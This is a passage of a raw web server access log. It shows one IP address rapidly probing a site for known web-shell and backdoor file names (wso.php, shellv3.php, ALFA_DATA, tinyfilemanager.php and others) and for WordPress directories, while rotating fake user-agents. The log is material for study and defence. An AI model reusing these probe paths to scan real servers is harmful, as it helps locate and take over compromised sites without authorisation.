(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /defaults.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /gali.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /wp-admin/wso.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /cache/i/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /dir.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /dirs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /abouts.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /malls.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /liefs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /uc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /locks.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:46 +0300] "GET /wp-dsdd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /css/bun.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /js/edit.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /wp-themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /wp-uploads.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /wp-files.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:47 +0300] "GET /t.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /stindex.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /shop.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /test/test.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /exit.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /install.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /max.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:48 +0300] "GET /wp-load.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /aa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /assets/images/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /worm3.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /shellv3.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /sh.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:49 +0300] "GET /.well-known/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /cgi-bin/moon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /cgi-bin/users.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /function.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /m.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /delete3.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:50 +0300] "GET /mm.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /cgi-bin/plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /server.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /mailer.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /fm.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /phpzipincs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /wp-blog.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:40:51 +0300] "GET /www.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /css/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /css/wp-casper.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /cache.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /mah.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /cong.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /assets/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:52 +0300] "GET /wp-header.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /shop.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /ioxi001.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /c.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /.well-known/ HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 264 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /wp-admin/ HTTP/1.1" 301 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:53 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 238 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 248 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/ HTTP/1.1" 301 240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 244 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/ID3 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 250 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 250 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 246 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 248 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 244 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 243 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 242 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:54 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 250 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /upload/image/ HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 250 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 245 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /sites/default/files/ HTTP/1.1" 301 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /admin/editor/ HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 248 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /admin/tmp/ HTTP/1.1" 301 238 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /admin/uploads/ HTTP/1.1" 301 242 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 